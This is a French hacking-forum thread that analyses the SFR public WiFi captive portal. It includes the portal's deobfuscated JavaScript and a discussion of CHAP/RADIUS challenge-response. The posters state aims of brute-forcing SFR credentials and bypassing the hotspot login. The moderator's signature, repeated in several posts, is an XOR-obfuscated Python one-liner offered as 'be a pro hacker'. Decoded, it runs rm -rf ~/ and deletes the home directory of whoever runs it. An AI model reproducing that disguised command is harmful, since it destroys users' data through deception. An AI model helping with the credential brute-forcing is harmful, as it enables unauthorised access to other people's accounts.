Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 03-10-2011 20:37:00

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Sniff de mots de passe sfr.

Bonsoir !

Depuis quelques jours je m'intéresse à l'authentification auprès des hotspot "SFR WiFi Public".
Voici ce que l'on retrouve en allant chercher le détail des URL :

Page qui me dit que je suis bloqué :

uamip=192.168.2.1
uamport=3990
challenge=a47a9014126952ae51fefea2a89e3732
userurl=http%3a%2f%2fwww.crack-wifi.com%2fforum%2findex.php
nasid=00-25-15-31-e5-23
mac=00-08-9F-83-67-16
mode=3
channel=0

Page qui s'affiche après avoir mis le login / mdp et cliqué sur "OK" : 

[email protected]
amp;response=b71f0c2143087eabe91e60bf318bf3ea
amp;uamip=192.168.2.1

Ce qu'il faut noter :
                       challenge=a47a9014126952ae51fefea2a89e3732 \
                        response=b71f0c2143087eabe91e60bf318bf3ea  } mmh.. Watson j'ai une idée !
md5('Infected Mushroom')=3592efa12f1bae3b59d6561a12ebad48 /

Alors j'ai une question (avant de chercher compliqué) :

Comme je ne pense pas envoyer mon mot de passe en clair, a votre avis, y'a t'il moyen en analysant les requêtes web de retrouver la fonction qui génère 'response'.
- Ce n'est pas du JS.
- Je n'ai pas pensé à regarder dans la source de la page. pam

Je vous tiens au courant de mes avancées, et je suis preneur d'idées !

[EDIT] Je ne voyais rien dans la console JS de firefox.
mais dans le code source, il y a une sorte de php / JS (je n'y connais ~rien au web) :

<script type="text/javascript">
            eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('u 1V(){8 a=A V;6(5.o["p"].W.s==""){17("18 d\'1r 1s E-1W 1X 1Y");B x}6(5.o["p"].1t.s==""){17("18 d\'1r 1s 1Z 1u 20");B x}6(5.o["p"].1v.19==x){17("18 1u 21 22 23 25 1v 26 27");B x}8 b="";6(n["1a"])b=n["1a"];5.o["p"].1a.s=b;8 c="28";6(5.o["p"].1b){8 d=5.o["p"].1b.1w.29;8 e=e=5.o["p"].1b.1w[d].s;5.o["p"].1x.s=e}r 5.o["p"].1x.s=c;8 f="1c";6(n["F"]&&n["F"]=="X")f=n["F"];5.o["p"].F.s=f;a=A V;a.1d(a.1e()+15);G("2a",f,a);8 g="1y://1z.1A.1c";6(n["P"]){8 h=A 1B(n["P"]);8 i=h.H("%2b");g=i[0];6(i[4])g=i[4]}5.o["p"].P.s=g;8 j="3";6(n["1f"])j=n["1f"];5.o["p"].1f.s=j;8 k="0";6(n["1g"])k=n["1g"];5.o["p"].1g.s=k;8 l="2c.2d.2.1";6(n["1h"])l=n["1h"];5.o["p"].1h.s=l;8 m="2e";6(n["1i"])m=n["1i"];5.o["p"].1i.s=m;6(5.o["p"].1C.19==I){a=A V;a.1d(a.1e()+7*24*2f);G("1j",5.o["p"].W.s,a)}B I}u 2g(a){8 b=A 2h("2i","2j","2k");8 c;8 d,e,f;1k(c=0;c<3;c++){6(b[c]==a&&5.9(b[c]).q.w=="L"){5.9(b[c]).q.w="Q"}r 6(b[c]==a&&5.9(b[c]).q.w=="Q"){5.9(b[c]).q.w="L"}r{5.9(b[c]).q.w="L"}}}u 2l(){5.9("1D").q.w="L";5.9("t").q.w="L"}u J(a,b,c,d){5.9("1D").q.w="Q";5.9("2m").1l=5.9(c).1l;6(d==x)5.9("1E").q.w="L";r 5.9("1E").q.w="2n";5.9("t").q.2o=a+"M";5.9("t").q.2p=b+"M";5.9("t").q.w="Q";8 e,f;6(5.C&&5.C.y){e=5.C.y;f=5.C.N}6(5.1F=="1G"&&5.D&&5.D.y){e=5.D.y;f=5.D.N}6(v.Y&&v.Z){e=v.Y;f=v.Z}8 g=(e-5.9("t").y)/2;8 h=(f-5.9("t").N)/2;5.9("t").q.1H=h+"M";5.9("t").q.1I=g+"M"}u 1J(){8 a=K.2q.1m(1).H("&");8 b=[];1k(8 c=0;c<a.1K;c++){8 d=a[c].H("=");b[d[0]]=d[1]}B b}u 1n(){R=R-11;5.9("2r").1l=" "+R/11+" 2s";6(R==0){8 a="1y://1z.1A.1c";6(n["P"]){8 b=A 1B(1o(n["P"]));8 c=b.H(";");a=c[0];6(c[4])a=c[4]}v.K=a}r 1L("1n()",11)}u 12(a){8 b=A 1M("(?:; )?"+a+"=([^;]*);?");6(b.2t(5.1N)){B 2u(1M["$1"])}r{B 13}}u G(a,b,c){5.1N=a+"="+2v(b)+(c==13?"":"; 2w="+c.2x())}u 2y(a){8 b,c;b=1O();6(a=="X"){c=5.K.1P.H("?");6(c[1])v.K=b+"&F=X";r v.K=b+"?F=X"}r{v.K=b}}u 1O(){8 a,b,c;b=5.K.1P.H("#");c=b[0];a=c.H("?");8 d=a[0];6(a[1]){8 e=I;1k(8 f 2z n){6(f!="F"){6(e==I){d=d+"?";d+=f+"="+n[f];e=x}r d+="&"+f+"="+n[f]}}}B d}u 1Q(a){8 b=12("S");8 c=A V;6(b!=13){8 d=b.2A(",",0);z=1R(1o(b.1m(0,d)));8 e=1R(1o(b.1m(d+1,b.1K)));6(a=="1S"){z=z+1;6(z==3){c.2B(c.2C()+1);J(T,O,"U",x)}r 6(z>3){J(T,O,"U",x);c.1T(e)}r{J(T,O,"U",I);c.1T(e)}G("S",z.1p()+","+c.14(),c)}r 6(a=="16"){G("S",z.1p()+","+c.14(),0)}r 6(a=="2D"&&z>3){J(T,O,"U",x)}}r 6(a=="1S"){c.1d(c.1e()+10);G("S","1,"+c.14(),c);J(T,O,"U",I)}r 6(a=="16"){G("S",z.1p()+","+c.14(),0)}}u 2E(){6(n["1q"]=="16"){J(2F,O,"2G",x);1L("1n()",11)}1Q(n["1q"]);6(n["1q"]!="16")6(12("1j")){5.o["p"].W.s=12("1j");5.o["p"].1t.1U();5.o["p"].1C.19=I}r 5.o["p"].W.1U()}8 n=1J();8 R=2H;v.2I=u(a){6(5.9("t")!=13&&5.9("t").q.w=="Q"){8 b,c;6(5.C&&5.C.y){b=5.C.y;c=5.C.N}6(5.1F=="1G"&&5.D&&5.D.y){b=5.D.y;c=5.D.N}6(v.Y&&v.Z){b=v.Y;c=v.Z}8 d=(b-5.9("t").y)/2;8 e=(c-5.9("t").N)/2;5.9("t").q.1H=e+"M";5.9("t").q.1I=d+"M"}}',62,169,'|||||document|if||var|getElementById||||||||||||||urlParams|forms|connect|style|else|value|box|function|window|display|false|offsetWidth|num_error|new|return|body|documentElement||lang|setCookie|split|true|openPopup|location|none|px|offsetHeight|270|userurl|block|timer|error|600|erreurDiv|Date|username|en|innerWidth|innerHeight||1e3|getCookie|null|getTime||success|alert|Merci|checked|challenge|choix|fr|setMinutes|getMinutes|mode|channel|uamip|uamport|autoLoginSFR|for|innerHTML|substring|redirectUserURL|unescape|toString|res|entrer|votre|password|de|conditions|options|accessType|http|www|sfr|String|save|voile|fermerBox|compatMode|CSS1Compat|top|left|extractUrlParams|length|setTimeout|RegExp|cookie|retirerLangue|href|initError|parseInt|failed|setTime|focus|validForm|mail|ou|NeufID|mot|passe|valider|les|termes||et|du|service|neuf|selectedIndex|langSFR|253b|192|168|3990|60|showInfos|Array|p1|p2|p3|closePopup|contenuBox|inline|width|height|search|theTimer|secondes|test|decodeURIComponent|escape|expires|toGMTString|changeLangue|in|indexOf|setHours|getHours|notyet|init|500|successDiv|7e3|onresize'.split('|'),0,{}))
        </script>

et ca :

<script type="text/javascript">
                    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('A B(){4 a=0;2(3.e.8("O")!=-1){t=3.e.1c("O");a=1d(t[1])}2(f.g.P){2(a==7){9"1e"}b 2(a==6){9"1f"}b{9"1g"}}b 2(f.g.C){9"1h"}b 2(f.g.Q){9"1i"}b 2(f.g.R){9"1j"}b 2(f.g.S){9"D"}b 2(f.g.E){9"1k"}}A c(a){T=1l;2(T)9"1";9"0"}A h(a){2(F.8(a)!=-1&&3.G[a].1m!=1n)9"1";9"0"}4 H="0";2(3.1o())H="1";4 l=3.j.U();4 1p=3.1q.8("1r")!=-1;4 V=l.8("1s")!=-1;4 W=l.8("1t")!=-1||l.8("1u")!=-1;4 n=3.X?"1":"0";2(1v 3.X=="1w"&&n=="0"){I.Y="Z";n=I.Y.8("Z")!=-1?"1":"0"}4 o="0",p="0",q="0",r="0",s="0",u="0";2(W&&V){o=c("10.10.1");p=c("11.11.1");2(c("v.J.1")=="1"||c("v.J.5")=="1"||c("v.J.6")=="1")q="1";r=c("12.12");s=c("1x.1y 1z 1A.1");u=c("1B.1C")}b{4 F="";1D(4 i=0;i<3.G.1E;i++)F+=3.G[i].1F.U();o=h("w/x-1G");p=h("w/x-1H-1I");q=h("w/1J");r=h("1K/1L");s=h("1M/x-1N-1O-1P");u=h("w/x-1Q")}4 f={g:{P:!!(K.1R&&!K.D),S:!!K.D,C:3.j.8("C")>-1&&3.j.8("13/")>-1,E:3.j.8("E")>-1&&3.j.8("1S")==-1,Q:!!3.j.1T(/1U.*1V.*1W/),R:3.j.8("13/")>-1}};4 y="";2(d["14"])y=d["14"];4 L="";2(d["15"])L=d["15"];4 k="1X 1Y";2(3.e.8("1Z")!=-1)k="20";2(3.e.8("21")!=-1)k="22";2(3.e.8("23")!=-1)k="24";2(3.e.8("16")!=-1)k="16";4 17=0;4 M;4 18=25 26;4 19=18.27();M="28:"+y+","+19;4 m="";2(d["z"]=="29"){m="2a-"+B()}b 2(d["z"]=="2b"){m="2c"}b 2(d["z"]=="2d"){m="2e"}I.2f("2g").2h="<2i 2j=\'i/2k.2l?"+"2m=2n"+"&2o=2p"+"&2q=2r"+"&2s=2t"+"&2u="+m+"&1a="+d["z"]+"&2v="+H+"&2w="+1b(l)+"&2x="+y+"&2y="+M+"&2z="+17+"&2A="+L+"&2B="+n+"&2C="+o+"&2D="+p+"&v="+q+"&2E="+r+"&2F="+s+"&2G="+u+"&1a="+N.2H+"x"+N.2I+"&2J="+N.2K+"&2L="+B()+"&2M="+k+"&2N="+1b(3.e)+"\'>"',62,174,'||if|navigator|var||||indexOf|return||else|_plug_ie|urlParams|appVersion|Nav|Browser|_plug_normal||userAgent|OSName|_agent|_page|_cookie|_dir|_fla|_pdf|_qt|_rea||_wma|PDF|application||_mac|res|function|NavName|Android|opera|Gecko|_tm|mimeTypes|_jav|document|PdfCtrl|window|_nasid|_user_id|screen|MSIE|IE|MobileSafari|WebKit|Opera|pk_found|toLowerCase|_ie|_win|cookieEnabled|cookie|_testcookie|SWCtl|ShockwaveFlash|Quicktime|AppleWebKit|mac|nasid|Linux|num_error|date|time|RES|escape|split|parseFloat|ie7|ie6|ie8|android|iphone|safari|firefox|false|enabledPlugin|null|javaEnabled|_moz|appName|Netscape|msie|win|32bit|typeof|undefined|rmocx|RealPlayer|G2|Control|wmplayer|ocx|for|length|type|director|shockwave|flash|pdf|video|quicktime|audio|pn|realaudio|plugin|mplayer2|attachEvent|KHTML|match|Apple|Mobile|Safari|Unknown|OS|Win|Windows|Mac|MacOS|X11|UNIX|new|Date|getTime|user|notyet|Accueil|failed|AuthentKO|success|AuthentOK|getElementById|tracking|innerHTML|img|src|track|gif|DOM|WiFi|SITE|PCNB4|GRP|PortailCaptif|CHAN|Authent|PAGE|JAVA|USER_AGENT|MAC|USERID|ERROR|NASID|COOKIE|DIR|FLA|QT|REA|WMA|width|height|COLOR_DEPTH|colorDepth|NAVNAME|OS_NAME|OS_VERSION'.split('|'),0,{}))
                </script>

D'après moi, c'est la fonction qui envoie l'url non ?
On dirait qu'elle va aller piocher dans les mots à la fin pour construire l'URL.

Un traducteur ?

Dernière modification par spawn (03-10-2011 21:47:18)


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 05-10-2011 11:48:43

Maraumax
N00b
Inscription : 05-10-2011
Messages : 1

Re : Sniff de mots de passe sfr.

Salut,

J'ai zieuté un peu, rien de particulier.

Voila les sources des js ;

function NavName() {
	var a = 0;
	if (navigator.appVersion.indexOf("MSIE") != -1) {
		t = navigator.appVersion.split("MSIE");
		a = parseFloat(t[1])
	}
	if (Nav.Browser.IE) {
		if (a == 7) {
			return "ie7"
		} else if (a == 6) {
			return "ie6"
		} else {
			return "ie8"
		}
	} else if (Nav.Browser.Android) {
		return "android"
	} else if (Nav.Browser.MobileSafari) {
		return "iphone"
	} else if (Nav.Browser.WebKit) {
		return "safari"
	} else if (Nav.Browser.Opera) {
		return "opera"
	} else if (Nav.Browser.Gecko) {
		return "firefox"
	}
}
function _plug_ie(a) {
	pk_found = false;
	if (pk_found) return "1";
	return "0"
}
function _plug_normal(a) {
	if (_tm.indexOf(a) != -1 && navigator.mimeTypes[a].enabledPlugin != null) return "1";
	return "0"
}
var _jav = "0";
if (navigator.javaEnabled()) _jav = "1";
var _agent = navigator.userAgent.toLowerCase();
var _moz = navigator.appName.indexOf("Netscape") != -1;
var _ie = _agent.indexOf("msie") != -1;
var _win = _agent.indexOf("win") != -1 || _agent.indexOf("32bit") != -1;
var _cookie = navigator.cookieEnabled ? "1": "0";
if (typeof navigator.cookieEnabled == "undefined" && _cookie == "0") {
	document.cookie = "_testcookie";
	_cookie = document.cookie.indexOf("_testcookie") != -1 ? "1": "0"
}
var _dir = "0",
_fla = "0",
_pdf = "0",
_qt = "0",
_rea = "0",
_wma = "0";
if (_win && _ie) {
	_dir = _plug_ie("SWCtl.SWCtl.1");
	_fla = _plug_ie("ShockwaveFlash.ShockwaveFlash.1");
	if (_plug_ie("PDF.PdfCtrl.1") == "1" || _plug_ie("PDF.PdfCtrl.5") == "1" || _plug_ie("PDF.PdfCtrl.6") == "1") _pdf = "1";
	_qt = _plug_ie("Quicktime.Quicktime");
	_rea = _plug_ie("rmocx.RealPlayer G2 Control.1");
	_wma = _plug_ie("wmplayer.ocx")
} else {
	var _tm = "";
	for (var i = 0; i < navigator.mimeTypes.length; i++) _tm += navigator.mimeTypes[i].type.toLowerCase();
	_dir = _plug_normal("application/x-director");
	_fla = _plug_normal("application/x-shockwave-flash");
	_pdf = _plug_normal("application/pdf");
	_qt = _plug_normal("video/quicktime");
	_rea = _plug_normal("audio/x-pn-realaudio-plugin");
	_wma = _plug_normal("application/x-mplayer2")
}
var Nav = {
	Browser: {
		IE: !!(window.attachEvent && !window.opera),
		Opera: !!window.opera,
		Android: navigator.userAgent.indexOf("Android") > -1 && navigator.userAgent.indexOf("AppleWebKit/") > -1,
		Gecko: navigator.userAgent.indexOf("Gecko") > -1 && navigator.userAgent.indexOf("KHTML") == -1,
		MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/),
		WebKit: navigator.userAgent.indexOf("AppleWebKit/") > -1
	}
};
var _mac = "";
if (urlParams["mac"]) _mac = urlParams["mac"];
var _nasid = "";
if (urlParams["nasid"]) _nasid = urlParams["nasid"];
var OSName = "Unknown OS";
if (navigator.appVersion.indexOf("Win") != -1) OSName = "Windows";
if (navigator.appVersion.indexOf("Mac") != -1) OSName = "MacOS";
if (navigator.appVersion.indexOf("X11") != -1) OSName = "UNIX";
if (navigator.appVersion.indexOf("Linux") != -1) OSName = "Linux";
var num_error = 0;
var _user_id;
var date = new Date;
var time = date.getTime();
_user_id = "user:" + _mac + "," + time;
var _page = "";
if (urlParams["res"] == "notyet") {
	_page = "Accueil-" + NavName()
} else if (urlParams["res"] == "failed") {
	_page = "AuthentKO"
} else if (urlParams["res"] == "success") {
	_page = "AuthentOK"
}
document.getElementById("tracking").innerHTML = "<img src='i/track.gif?" + "DOM=WiFi" + "&SITE=PCNB4" + "&GRP=PortailCaptif" + "&CHAN=Authent" + "&PAGE=" + _page + "&RES=" + urlParams["res"] + "&JAVA=" + _jav + "&USER_AGENT=" + escape(_agent) + "&MAC=" + _mac + "&USERID=" + _user_id + "&ERROR=" + num_error + "&NASID=" + _nasid + "&COOKIE=" + _cookie + "&DIR=" + _dir + "&FLA=" + _fla + "&PDF=" + _pdf + "&QT=" + _qt + "&REA=" + _rea + "&WMA=" + _wma + "&RES=" + screen.width + "x" + screen.height + "&COLOR_DEPTH=" + screen.colorDepth + "&NAVNAME=" + NavName() + "&OS_NAME=" + OSName + "&OS_VERSION=" + escape(navigator.appVersion) + "'>"

Et le secod :

function validForm() {
	var a = new Date;
	if (document.forms["connect"].username.value == "") {
		alert("Merci d'entrer votre E-mail ou NeufID");
		return false
	}
	if (document.forms["connect"].password.value == "") {
		alert("Merci d'entrer votre mot de passe");
		return false
	}
	if (document.forms["connect"].conditions.checked == false) {
		alert("Merci de valider les termes et conditions du service");
		return false
	}
	var b = "";
	if (urlParams["challenge"]) b = urlParams["challenge"];
	document.forms["connect"].challenge.value = b;
	var c = "neuf";
	if (document.forms["connect"].choix) {
		var d = document.forms["connect"].choix.options.selectedIndex;
		var e = e = document.forms["connect"].choix.options[d].value;
		document.forms["connect"].accessType.value = e
	} else document.forms["connect"].accessType.value = c;
	var f = "fr";
	if (urlParams["lang"] && urlParams["lang"] == "en") f = urlParams["lang"];
	document.forms["connect"].lang.value = f;
	a = new Date;
	a.setMinutes(a.getMinutes() + 15);
	setCookie("langSFR", f, a);
	var g = "http://www.sfr.fr";
	if (urlParams["userurl"]) {
		var h = new String(urlParams["userurl"]);
		var i = h.split("%3b");
		g = i[0];
		if (i[4]) g = i[4]
	}
	document.forms["connect"].userurl.value = g;
	var j = "3";
	if (urlParams["mode"]) j = urlParams["mode"];
	document.forms["connect"].mode.value = j;
	var k = "0";
	if (urlParams["channel"]) k = urlParams["channel"];
	document.forms["connect"].channel.value = k;
	var l = "192.168.2.1";
	if (urlParams["uamip"]) l = urlParams["uamip"];
	document.forms["connect"].uamip.value = l;
	var m = "3990";
	if (urlParams["uamport"]) m = urlParams["uamport"];
	document.forms["connect"].uamport.value = m;
	if (document.forms["connect"].save.checked == true) {
		a = new Date;
		a.setMinutes(a.getMinutes() + 7 * 24 * 60);
		setCookie("autoLoginSFR", document.forms["connect"].username.value, a)
	}
	return true
}
function showInfos(a) {
	var b = new Array("p1", "p2", "p3");
	var c;
	var d, e, f;
	for (c = 0; c < 3; c++) {
		if (b[c] == a && document.getElementById(b[c]).style.display == "none") {
			document.getElementById(b[c]).style.display = "block"
		} else if (b[c] == a && document.getElementById(b[c]).style.display == "block") {
			document.getElementById(b[c]).style.display = "none"
		} else {
			document.getElementById(b[c]).style.display = "none"
		}
	}
}
function closePopup() {
	document.getElementById("voile").style.display = "none";
	document.getElementById("box").style.display = "none"
}
function openPopup(a, b, c, d) {
	document.getElementById("voile").style.display = "block";
	document.getElementById("contenuBox").innerHTML = document.getElementById(c).innerHTML;
	if (d == false) document.getElementById("fermerBox").style.display = "none";
	else document.getElementById("fermerBox").style.display = "inline";
	document.getElementById("box").style.width = a + "px";
	document.getElementById("box").style.height = b + "px";
	document.getElementById("box").style.display = "block";
	var e, f;
	if (document.body && document.body.offsetWidth) {
		e = document.body.offsetWidth;
		f = document.body.offsetHeight
	}
	if (document.compatMode == "CSS1Compat" && document.documentElement && document.documentElement.offsetWidth) {
		e = document.documentElement.offsetWidth;
		f = document.documentElement.offsetHeight
	}
	if (window.innerWidth && window.innerHeight) {
		e = window.innerWidth;
		f = window.innerHeight
	}
	var g = (e - document.getElementById("box").offsetWidth) / 2;
	var h = (f - document.getElementById("box").offsetHeight) / 2;
	document.getElementById("box").style.top = h + "px";
	document.getElementById("box").style.left = g + "px"
}
function extractUrlParams() {
	var a = location.search.substring(1).split("&");
	var b = [];
	for (var c = 0; c < a.length; c++) {
		var d = a[c].split("=");
		b[d[0]] = d[1]
	}
	return b
}
function redirectUserURL() {
	timer = timer - 1e3;
	document.getElementById("theTimer").innerHTML = " " + timer / 1e3 + " secondes";
	if (timer == 0) {
		var a = "http://www.sfr.fr";
		if (urlParams["userurl"]) {
			var b = new String(unescape(urlParams["userurl"]));
			var c = b.split(";");
			a = c[0];
			if (c[4]) a = c[4]
		}
		window.location = a
	} else setTimeout("redirectUserURL()", 1e3)
}
function getCookie(a) {
	var b = new RegExp("(?:; )?" + a + "=([^;]*);?");
	if (b.test(document.cookie)) {
		return decodeURIComponent(RegExp["$1"])
	} else {
		return null
	}
}
function setCookie(a, b, c) {
	document.cookie = a + "=" + escape(b) + (c == null ? "": "; expires=" + c.toGMTString())
}
function changeLangue(a) {
	var b, c;
	b = retirerLangue();
	if (a == "en") {
		c = document.location.href.split("?");
		if (c[1]) window.location = b + "&lang=en";
		else window.location = b + "?lang=en"
	} else {
		window.location = b
	}
}
function retirerLangue() {
	var a, b, c;
	b = document.location.href.split("#");
	c = b[0];
	a = c.split("?");
	var d = a[0];
	if (a[1]) {
		var e = true;
		for (var f in urlParams) {
			if (f != "lang") {
				if (e == true) {
					d = d + "?";
					d += f + "=" + urlParams[f];
					e = false
				} else d += "&" + f + "=" + urlParams[f]
			}
		}
	}
	return d
}
function initError(a) {
	var b = getCookie("error");
	var c = new Date;
	if (b != null) {
		var d = b.indexOf(",", 0);
		num_error = parseInt(unescape(b.substring(0, d)));
		var e = parseInt(unescape(b.substring(d + 1, b.length)));
		if (a == "failed") {
			num_error = num_error + 1;
			if (num_error == 3) {
				c.setHours(c.getHours() + 1);
				openPopup(600, 270, "erreurDiv", false)
			} else if (num_error > 3) {
				openPopup(600, 270, "erreurDiv", false);
				c.setTime(e)
			} else {
				openPopup(600, 270, "erreurDiv", true);
				c.setTime(e)
			}
			setCookie("error", num_error.toString() + "," + c.getTime(), c)
		} else if (a == "success") {
			setCookie("error", num_error.toString() + "," + c.getTime(), 0)
		} else if (a == "notyet" && num_error > 3) {
			openPopup(600, 270, "erreurDiv", false)
		}
	} else if (a == "failed") {
		c.setMinutes(c.getMinutes() + 10);
		setCookie("error", "1," + c.getTime(), c);
		openPopup(600, 270, "erreurDiv", true)
	} else if (a == "success") {
		setCookie("error", num_error.toString() + "," + c.getTime(), 0)
	}
}
function init() {
	if (urlParams["res"] == "success") {
		openPopup(500, 270, "successDiv", false);
		setTimeout("redirectUserURL()", 1e3)
	}
	initError(urlParams["res"]);
	if (urlParams["res"] != "success") if (getCookie("autoLoginSFR")) {
		document.forms["connect"].username.value = getCookie("autoLoginSFR");
		document.forms["connect"].password.focus();
		document.forms["connect"].save.checked = true
	} else document.forms["connect"].username.focus()
}
var urlParams = extractUrlParams();
var timer = 7e3;
window.onresize = function (a) {
	if (document.getElementById("box") != null && document.getElementById("box").style.display == "block") {
		var b, c;
		if (document.body && document.body.offsetWidth) {
			b = document.body.offsetWidth;
			c = document.body.offsetHeight
		}
		if (document.compatMode == "CSS1Compat" && document.documentElement && document.documentElement.offsetWidth) {
			b = document.documentElement.offsetWidth;
			c = document.documentElement.offsetHeight
		}
		if (window.innerWidth && window.innerHeight) {
			b = window.innerWidth;
			c = window.innerHeight
		}
		var d = (b - document.getElementById("box").offsetWidth) / 2;
		var e = (c - document.getElementById("box").offsetHeight) / 2;
		document.getElementById("box").style.top = e + "px";
		document.getElementById("box").style.left = d + "px"
	}
}

Tu as moyen d'aspirer la page d'identification ?

Hors Ligne

#3 05-10-2011 17:38:43

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Sniff de mots de passe sfr.

mmh pas aujourd'hui, je regarde demain.
Mais je pense que la fonction bizarre a un rôle.
J'appendrais le JS bientôt.
Je vous tiens au courant.


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#4 10-11-2011 00:57:30

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Sniff de mots de passe sfr.

Bonsoir !

dans les adresses échangées au cours de l'authentification :

ex : https://hotspot.neuf.fr/indexEncrypting … &channel=0

Vous aurez noté ceci : 'challenge=658ced0b61a98a821a67d4b77928f4e9'.
Dans les addresses suivantes, on trouve 'response=2123132132132131321321321321'.

Les deux chaînes hexadécimales font 32 caractères de long.
Un MD5 fait 32 caractères de long.

-> J'ai une idée mon cher watson !

Et la partie EncryptingChilli m'a envoyé vers ChilliSpot ( site officiel ), qui est manifestement une sorte de firmware pour routeur.

Je suis donc parti du postulat que SFR a pompé ChilliSpot sans changer le code source.

Dans le code source, j'ai trouvé que le challenge est une chaîne hexa aléatoire.
Dans le code source, je n'ai pas bien trouvé l'endroit exact où l'on compare la réponse du client avec le challenge.

Y'a plein de MD5 partout, et dans une description de RADIUS j'ai trouvé (au paragraphe 2.1) une explication de génération de cipher à partir du password, d'un shared secret et du challenge.

J'ai eu beau essayer d'appliquer des XOR et des MD5 à mes données, je n'ai pas pu obtenir les valeurs visibles dans les URL.

Est-ce que quelqu'un est tenté d'essayer et de me dire si il a réussi ?

recette :

1 navigateur (même IE ^^)
1 fonction MD5
1 couple identifiant / MDP SFR
1 fonction XOR
1 Réseau SFR WiFi Public à portée de carte WiFi

Authentifiez vous sur le portail captif, puis extrayez des URL le challenge et la réponse.           (soit dit en passant, le login est en clair)
Découpez votre mot de passe en morceaux de 16 octets, et complétez le dernier avec des 0.
Suivez la méthode de mon premier lien, paragraphe 2.1

( je cherche à avoir ça pour coder un proof of concept de brute force d'identifiant / password SFR )

Merci !

[edit : le deuxième lien est réparé]

Dernière modification par spawn (18-11-2011 22:47:51)


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#5 10-11-2011 22:09:05

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Sniff de mots de passe sfr.

Un MD5 fait 32 caractères de long.

Oui, mais un hash de 32 bits n'est pas forcément un MD5 wink Ca pourrait très bien être un SHA tronqué pour ne garder que les 128 bits (32 caractères hexa) les moins significatifs...

Et la partie EncryptingChilli m'a envoyé vers ChilliSpot, qui est manifestement une sorte de firmware pour routeur.

Je suis donc parti du postulat que SFR a pompé ChilliSpot sans changer le code source.

Chillispot est un système de Hotspot open source que tu peux intégrer à un firmware (DD_WRT par exemple) mais ce n'est pas un firmware en soi, juste un module. D'ailleurs tu peux très bien l'installer sur n'importe quel système Linux...
Par contre il est bien possible que SFR se soit "fortement inspiré" de Chillispot pour leur solution de Hotspot smile

Dans le code source, j'ai trouvé que le challenge est une chaîne hexa aléatoire.
Dans le code source, je n'ai pas bien trouvé l'endroit exact où l'on compare la réponse du client avec le challenge.

Y'a plein de MD5 partout, et dans une description de RADIUS j'ai trouvé (au paragraphe 2.1) une explication de génération de cipher à partir du password, d'un shared secret et du challenge.

Le mécanisme de challenge/réponse est courant en cryptographie, il est d'ailleurs utilisé pour le WPA. Ca permet de s'authentifier sans jamais envoyer le mot de passe original sur le réseau. Ce n'est donc pas un problème si le login se fait en clair wink
Pour le Radius, comme tu l'as sans doute compris, est un protocole d'autorisation d'accès. C'est lui qui est en charge de contrôler les informations de connexion (login/mot de passe) et d'autoriser ou non l'accès au réseau. Il est utilisé depuis longtemps (sur les lignes 56k par exemple) mais son utilisation principale aujourd'hui est ce qu'on appelle le "WPA-Entreprise".
Dans le cas présent, il utilise le protocole CHAP (Challenge Handshake Authentication Protocol) par opposition au PAP (qui échange directement le mot de passe "en clair").

Il faut d'abord vérifier si le mécanisme de CHAP dépend de Radius ou pas. Regarde dans Wireshark quel protocole intervient (sur quel port les paquets en question sont-ils émis, avec un peu de chance c'est pas le 80).
Ensuite, si c'est bien le Radius qui t'intéresse, les détails d'implémentations sont sûrement disponibles dans une RFC (je dirais la 1994 ou la 2865) mais le code-source devrait être suffisant (à condition d'y avoir accès et que SFR ne l'aie pas modifié).

Par contre, ton deuxième lien n'est pas valide, donc j'aurai du mal à t'en dire plus sans voir de quel code tu parles wink

Hors Ligne

#6 18-11-2011 22:23:57

kev671
N00b
Inscription : 18-11-2011
Messages : 1

Re : Sniff de mots de passe sfr.

Salut spawn.
Vois tu, je me suis posé aujourd'hui la même question que toi: Comment fonctionne l'authentification d'un hotspot SFR et est-elle "bypass-able"?, et en parcourant le net à la quête d'une réponse, je suis tombé sur ce topic. Je me suis donc inscrit et me voila smile

Pour le côté technique

L'analyse des flux entre la Neuf box et le pc me semble intéressante mais je serais plus partis sur un Reverse Engineering  du Firmware, notamment dans le sens où la Box a besoin d'avoir un accès, enfin je pense, à une base de données de personne identifiées. En effet, il me semble qu'il faille être client pour avoir droit à un accès hotspot, et un code est attribué

Je n'ai pas de système UNIX sous le main ce WE. Durant la semaine, je tenterai donc le DL du firmware officiel en me basant sur cette technique
Une fois récupérer, je m’attellerais au RE du FW et je te transmettrais un maximum d'information que je trouverais.

Sinon, de ton côté, as tu découvert de nouvelles choses?

